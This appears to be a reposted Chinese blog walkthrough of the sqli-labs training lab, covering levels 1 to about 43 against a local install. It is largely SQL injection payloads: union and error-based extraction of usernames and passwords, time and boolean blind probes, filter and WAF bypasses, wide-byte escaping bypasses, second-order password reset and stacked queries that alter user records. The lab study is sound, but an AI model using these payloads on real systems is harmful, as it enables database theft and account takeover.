目錄
Less-1 GET-Error based-Single quotes-String(基于錯誤的GET單引號字符型注入)
Less-2 GET-Error based- Intiger based(基于錯誤的GET整型注入)
Less-3 GET-Error based- Single quotes with twust string(基于錯誤的GET單引號變形字符型注入)
Less-4 GET-Error based- Double Quotse - String(基于錯誤的GET雙引號字符型注入)
Less-5 GET- Double Injection - Single Quoter -String(雙注入GET單引號字符型注入)
Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)
Less-7 Dump into outfile - String (匯出檔案GET字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)
Less-9 GET - Blind - Time based. - Single Quotes (基于時間的GET單引號盲注)
Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)
Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)
Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)
Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
Less-14 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)
Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)
Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)
Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)
Less-21 Cookie Injection- Error Based- complex - string(Cookie注入-基于錯誤的復雜字串 )
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
Less-25 Trick with OR & AND (過濾了or和and)
Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)
Less-26 Trick with comments and space (過濾了注釋和空格的注入)
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)
less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入
Less-29 基于WAF的一個錯誤
Less-30 Get-Blind Havaing with WAF
Less-31 Protection with WAF
Less-32 Bypass addslashes()
PHP preg_quote() 函式
語法
回傳值
Less-33 Bypass addslashes()
Less-34 Bypass Add SLASHES
Less-35 why care for addslashes()
Less-36 Bypass MySQL Real Escape String
Less-37- MySQL_real_escape_string
Less-38 stacked Query
Less-39 stacked Query Intiger type
Less-40 stacked Query String type Blind
Less-41 stacked Query Intiger type blind
Less-42 - Stacked Query error based
less-43 POST -Error based -String -Stacked with tiwst(POST型基于錯誤的堆疊變形字符型注入)
Less-1 GET-Error based-Single quotes-String(基于錯誤的GET單引號字符型注入)
我們先用HackBar寫入id=1

發現id可以顯示,
然后在后面加入單引號查看是存在注入http://127.0.0.1/sqli/Less-1/?id=1'
發現結果出現報錯,那么存在注入,

那么我們就可以用 order by陳述句逐步判斷其表格有幾列,最后我們發現表格有三列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+;

然后用判斷其第幾列有回顯,這里注意id后面的數字要采用一個不存在的數字,比如-1 -100都可以我采用的是-1 如下
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+;

然后發現2,3,列有回顯就可以爆出資料庫,列,以及用戶和密碼;
爆
出資料庫http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+; 可以查看其資料庫名字

知道資料庫名字以后可以查看資料庫
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;

爆列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;

爆出用戶名和密碼
ess-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;

第一關就算完成(其中查詢資料庫陳述句不會的可以自行百度)
Less-2 GET-Error based- Intiger based(基于錯誤的GET整型注入)
以同樣的方式測驗用HackBar寫入id=1出現用戶名,
在其后面加上單引號出現報錯,然后再加注釋發現依然報錯
http://127.0.0.1/sqli/Less-2/?id=1'--+

這里我們猜測其是整型(id=$id limit 0,1),然后不加單引號,重復猜測,發現可以注入,猜測正確,(也可以打開原始碼查看其id原始碼與第一關的不同之處),
只有這里不一樣,其他操作等同于Less-1,
Less-3 GET-Error based- Single quotes with twust string(基于錯誤的GET單引號變形字符型注入)
以同樣的方式測驗用HackBar寫入id=1出現用戶名,
加入單引號注釋符號,發現依舊報錯,
這里再去掉單引號依舊報錯,
我們猜測其陳述句為id=('$id'),
在改為?id=1')后陳述句閉合,http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,3--+

那么剩下的操作等同于Less-1,這里不再重復操作,
Less-4 GET-Error based- Double Quotse - String(基于錯誤的GET雙引號字符型注入)
以同樣的方式測驗用HackBar寫入id=1出現用戶名,
然后不斷測驗加單引號,單引號括號都無法將其閉合(這里可以直接查看原始碼判斷其注入型別,但是對于未知的注入只能不斷嘗試)
我們猜測其原始碼陳述句為$id = ' " ' . $id . ' " ' ;
那么我們使用http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+將其閉合

那么剩下的操作等同于Less-1,這里不再重復操作,
Less-5 GET- Double Injection - Single Quoter -String(雙注入GET單引號字符型注入)
以同樣的方式測驗用HackBar測驗
http://127.0.0.1/sqli/Less-5/?id=1' union select 1,2,3--+

發現無法利用回顯,因為一直顯示 you are in .......,
看到這里我們首先想到的型別就是布爾型盲注,報錯注入,時間延遲型盲注,我們這里簡單注入一下,因為作業量太大,只說一下思路,
對于這類注入,用sleep跑一次看瀏覽器的反應就可以知道,
http://127.0.0.1/sqli/Less-5/?id=1' and sleep(5) --+

可以看到瀏覽器有明顯的延遲
然后我們就要判斷資料庫名稱有幾位
http://127.0.0.1/sqli/Less-5/?id=1' and lengrh(database())=8--+
我這邊直接知道8位,以為直接寫了,一般的話要一步一步判斷位數,
然后我用burpsuite一位一位的爆破資料庫名字這里演示一位
http://127.0.0.1/sqli/Less-5/?id=1' and left(select database(),1)='a'--+

用burpsuite爆破




最后顯示爆破的s明顯比其他的短,所以第一位為s,以此類推,判斷出完整的資料庫,
剩下的?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
還可以進行xpath注入
因為無回顯,所以嘗試updatexml報錯注入
updatexml函式可以百度了解
http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+(其中0x是十六進制數識別,后面的是吧符號轉換為16進制數,hackbar里面有這個功能)
用這個直接可以將資料庫爆出來

然后用陳述句將其其他內容爆出,因為這個無法顯示全部的內容,我們采用substr函式拼接,
依次增加31爆出完整的資料,
ttp://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

(此圖盜用師傅)
Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)
以同樣的方式測驗用HackBar測驗
我們發現用雙引號包裹后可以閉合,其他操作如同Less-5;
Less-7 Dump into outfile - String (匯出檔案GET字符型注入)
以同樣的方式測驗用HackBar測驗
我們發現?id=1'))可以閉合陳述句,
那么用陳述句測驗其資料庫有3列
?id=1') )order by 3--+;

在這里我們查看自己的資料庫

這里第七關需要用my.ini進行修改后,然后才可以寫入檔案,這里有phpstudy的bug,具體怎么解決我也不是很會,可以百度解決,
Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)
以同樣的方式測驗用HackBar測驗
我們發現?id=1'可以閉合陳述句,但是沒有任何回顯,

沒有回顯的情況下即可以嘗試盲注
?id=1' and if(substr(database()),1,1)='s',sleep(5),sleep(1))--+


?id=1' and if(substr(database(),1,1)='q',sleep(5),sleep(1))--+


發現兩者明顯有差異,所以資料庫名第一位是‘s’
同樣的資料庫長度也可以以此判斷;
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+


找出以后剩下的和Less-5,
Less-9 GET - Blind - Time based. - Single Quotes (基于時間的GET單引號盲注)
我們依舊使用上面的思路進行注入
我們發現時間盲注依然可以
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
那么剩下的步驟又和以前一樣了,
Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)
老樣子,進行不斷地嘗試,我們發現
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+這個是不可以閉合的,
依照剛開始幾關的思路,我們不斷的嘗試發現將單引號改為雙引號后可以閉合
?id=1" and if(length(database())=8,sleep(5),sleep(1))--+
那么剩下的又如同上一關一樣操作就可以了,
Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)
我們發現頁面發生變化需要輸入用戶名和密碼
這里我們采用萬能密碼
admin' or 1)#

我們可以看到,這里是有回顯得,那我們就試一試post(可以用hackbar也可以用burpsuite)
我們發現只有2可以,3就不可以顯示

我們繼續尋找可以回顯的位置


發現1,2都可以回顯然后接下來進行正常的查詢作業,輸入上面學過的陳述句便可以查詢這里不再操作,
也可以用報錯注入的方式
uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit


這里只展示一部分,剩下的操作前面都有,
Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)
依舊按照原來的思路嘗試閉合

嘗試找到閉合之后,剩下的操作又和Less-11一樣了
Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
依舊按照原來的思路嘗試閉合
發現admin')可以閉合

我們這邊用burpsuite看到沒有任何回顯

這時就可以用上面的思路,我這邊只演示爆錯注入:
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+

直接爆出資料庫名稱,剩下的東西也可以用報錯注入爆出,就不在演示,
Less-14 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
依舊按照原來的思路嘗試閉合
發現admin"可以閉合
用養的用報錯注入爆出資料庫名稱

Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/時間延遲單引號POST型盲注)
用之前思路一樣,用萬能密碼123' or 1 #登錄成功
發現是單引號閉合
用時間盲注admin’ and sleep(10) #

其他操作都一樣,這不過這里是post型的時間盲注在post里面嘗試
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)
和上一關一樣,萬能密碼登錄后,嘗試閉合,發現
admin"可以閉合,那么這里和之前的區別就只有閉合方式不一樣,剩下的同上,
Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)
這里我們發現頁面又發生了變化

這里不管怎么嘗試都無法實作注入,我們打開原始碼發現
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
這里明顯用戶名被check_input函式包裹,check_input是一個檢查函式,所以我們這次不能從這邊下手注入,換成從password注入便可以成功,
Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)
打開頁面,我們發現IP有回顯,那么這里判斷有可能是user-agent存在注入,
我們也可以打開原始碼查看,發現在uagen的地方直接進行截取和輸出,
那么我們就可以嘗試閉合,發現是單引號閉合,
然后嘗試報錯注入:
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#

然后后面的東西同樣可以使用報錯注入的方法來實作,
Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)
開始我們發現這次和上次不一樣的是這次refeter也有回顯

查看源代碼可以發現他在refeter和IP都進行了輸出,我們就可以在refeter處進行報錯注入

后面的也可以在這邊進行報錯注入,
Less-20 POST - Cookie injections - Uagent field - Error based (基于錯誤的cookie頭部POST注入)
登錄以后我沒發現這次的頁面有很多東西

我們查看原始碼發現這里對各種資訊進行了輸出
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
后面發現使用cookie進行資料庫的查詢,那么我們就從cookie入手,
單引號發生報錯

閉合以后發現只是回顯

我們又可以用 order by陳述句判斷
最后發現3行,2,3可回顯
查詢如下:admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

思路就和以前一樣了,
Less-21 Cookie Injection- Error Based- complex - string(Cookie注入-基于錯誤的復雜字串 )
我們正常打開發現cookie發生變化,但是可以正常顯示,猜測cookie進行了編碼,

我們也可以打開原始碼看,可以看到cookie的部分進行了base64的加密,
這里分享一個轉碼網站:在線加密解密
這樣的話就是獲取庫名

最后獲得用戶名密碼,中間步驟不再一一截圖,里面的陳述句和第一關一樣
這是陳述句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#=
這是base64轉碼 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)
我們嘗試閉合,發現雙引號可以閉合

這樣之后就簡單了,和上關一樣
這是陳述句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=
這是base64碼 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

Less-23 GET - Error based - strip comments (基于錯誤的,過濾注釋的GET型)

我們發現好像和第一關有一點相似,我們和上一步一步來,
我們發現可以用and,但是不能用聯合查詢陳述句,
打開php發現他把我們的# --+注釋符號給過濾掉了,
一種方法是將聯合查詢陳述句放入id中

爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

爆列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='

爆資料庫和用戶名也和之前的陳述句大同小異,
另一種是or "1"="1來閉合后面的雙引號來達到我們的目的,
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,
Sql陳述句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

先注冊一個賬號,admin'#

然后登錄賬號,在里面修改密碼
如果再用admin 密碼123456登陸進來 那么注入成功
Less-25 Trick with OR & AND (過濾了or和and)

我們發現我們的or陳述句被過濾了
因為過濾的只有or和and我們可以多寫一個or和and就可以了
?id=1' oorrder by 1 aandnd '1'='1

Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)

同樣的雙寫or和and就可以解決,其他的和之前一樣
Less-26 Trick with comments and space (過濾了注釋和空格的注入)
先嘗試閉合,發現是單引號閉合

我們發現他將空格,or,and都過濾了,而且空格雙寫是沒有用的,所以
我們可以使用url編碼繞過
%09 Tab鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 鍵
%0b Tab鍵(垂直)
%a0 空格
() 繞過
用這個方法嘗試報錯注入:

注入超過
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)
我們嘗試閉合發現')可以閉合

剩下的注入和上一關一樣,仍然使用盲注就好
less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)
這一關多過濾了union和select ,
所以我們就用URL編碼和大小寫進行繞過,其他和上一關一樣
這里過濾了union select ,所以我們采用大小寫方式去繞過,雙寫是不行的
爆庫名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
爆用戶名密碼 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
27a關將單引號改為雙引號就可以了
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)
這關在之前的技術上,加上了union和select的大小寫也過濾了,都不能用了
我們直接用盲注,進行測驗,一點一點試(其他的不贅述了)

過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入
和上一關一樣
只是把第28關改成了雙引號,,發現id=1")和id=1)"這樣也行
Less-29 基于WAF的一個錯誤
學習之前可以了解一下HTTP引數污染
我們可以了解到
waf服務器(tomcat)只決議重復引數里面的前者,而真正的web服務器(Apache)只決議重復引數里面的后者
那么我們就可以傳入兩個id,把我們想注入的東西放入后一個id中實作注入
phpstuday的后端是Apahce,我們把引數跟在后面即可
?id=1&id=-1'union select 1,database(),3--+

剩下只需查詢資料庫即可
Less-30 Get-Blind Havaing with WAF
和19關一樣只不過這里換成了雙引號而已
?id=1&id=-1"union select 1,database(),3--+
Less-31 Protection with WAF
與上面一致,只不過換成了“)來閉合、
?id=1&id=-1")union select 1,database(),3--+
Less-32 Bypass addslashes()
這關學習的是繞過函式preg_quote
網上關于php preg_quote的解釋
PHP preg_quote() 函式
正在上傳…重新上傳取消?PHP 正則運算式(PCRE)
preg_last_error 函式用于轉義正則運算式字符,
語法
string preg_quote ( string $str [, string $delimiter = NULL ] )
preg_quote() 需要引數 str 并向其中 每個正則運算式語法中的字符前增加一個反斜線, 這通常用于你有一些運行時字串 需要作為正則運算式進行匹配的時候,
正則運算式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
引數說明:
-
$str: 輸入字串,
-
$delimiter: 如果指定了可選引數 delimiter,它也會被轉義,這通常用于 轉義 PCRE 函式使用的分隔符, / 是最通用的分隔符,
回傳值
回傳轉義后的字串,
也可以自己百度
我們嘗試閉合發現不論是單引號還是雙引號都會被轉義成\'


但是字體是雙位元組的,所以0xD6 0x5c被轉為謀這個漢字,’之前的\就這樣消失了,最后的%23為#,在sql中#是注釋,所以后面的’就沒用了 最終sql中projectid = ’10謀’在sql執行的時候,由于projectid為int型別欄位,mysql會自動intval()處理一下
?id=-1%df%27%20%20union%20select%201,database(),3%23

Less-33 Bypass addslashes()
這關和上一關一致,只不過這里換成了addslashe函式
網上關于addslashes()函式的介紹是:
addslashes() 函式回傳在預定義字符之前添加反斜杠的字串,
預定義字符是:
- 單引號(')
- 雙引號(")
- 反斜杠(\)
- NULL
提示:該函式可用于為存盤在資料庫中的字串以及資料庫查詢陳述句準備字串,
和上一關一樣,這里換url編碼思路進行
使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,
?id=1%df'

把后面的內容注釋掉,網頁回傳正常資訊,說明此處使用單引號閉合,
?id=1%df'--+

爆出用戶名和密碼
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

同樣的32關也可以使用這個方法來進行,
Less-34 Bypass Add SLASHES
這一關需要使用burpsuite抓包,抓包之后其他操作等同于33關
uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit

Less-35 why care for addslashes()
正常思路進行注入,發現網頁進行了轉義

仍然使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,測驗下面的所有引數都注入失敗,
?id=1%df'--+
?id=1%df')--+
?id=1%df'))--+
?id=1%df"--+
?id=1%df")--+
?id=1%df"))--+
那應該就是數值型注入,
數值型注入不涉及編碼,任何轉義都沒有用,所以直接注入不需要考慮,

和 Less 1 完全一樣,爆出用戶名和密碼,
?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less-36 Bypass MySQL Real Escape String
和前幾關思路一樣,在發現有轉義之后
仍然使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,
?id=1%df'

?id=1%df'--+

和 Less 32 完全一樣,爆出用戶名和密碼,
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less-37- MySQL_real_escape_string
這一關改為了post注入,其他都和前幾關操作一樣
uname=admin%df'union select 1,2--+&passwd=admin&submit=Submit

Less-38 stacked Query
這一關是堆疊注入
Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 陳述句(多條)一起執行,而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令列中, 每一條陳述句結尾加; 表示陳述句結束,這樣我們就想到了是不是可以多句一起使用,這個叫做 stacked injection,
(關于堆疊注入可以自己百度了解)
?id=1';update users set password='123456' where username='Dumb';--+
這個意思是用堆疊注入修改dumb的密碼

使用單引號閉合查詢,發現密碼修改成功

我們再嘗試插入一個id
?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
然后用單引號閉合查看是否插入成功 :

插入成功,堆疊注入在權限足夠的情況下可以執行任意陳述句
這都是堆疊注入的用法
Less-39 stacked Query Intiger type
這里等同于上一關,這邊我們再一次增加一個用戶
?id=1';insert into users(id,username,password)values(22,'phzsb','1999')--+
查詢

Less-40 stacked Query String type Blind
雖然沒有報錯,但是不影響我們判斷閉合,以及陳述句的正確
嘗試閉合,發現?id=1')可以閉合

其他操作和上一關一樣,同樣的堆疊注入
我們再次修改密碼
?id=1');update users set password='666' where username='Dumb';--+

查看

修改成功
Less-41 stacked Query Intiger type blind
也是無報錯,和上一關一樣,這里就不再修改密碼
Less-42 - Stacked Query error based
這是基于24關卡新增post的堆疊,顧名思義在post上進行修改
我們利用該注入創造一個和users一樣的資料庫
login_user=admin&login_password=1';create table phzdsb like users#

可以在自己的資料庫中查看

發現注入成功
也可以利用做post修改密碼等操作
less-43 POST -Error based -String -Stacked with tiwst(POST型基于錯誤的堆疊變形字符型注入)
本關
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/325454.html
標籤:其他
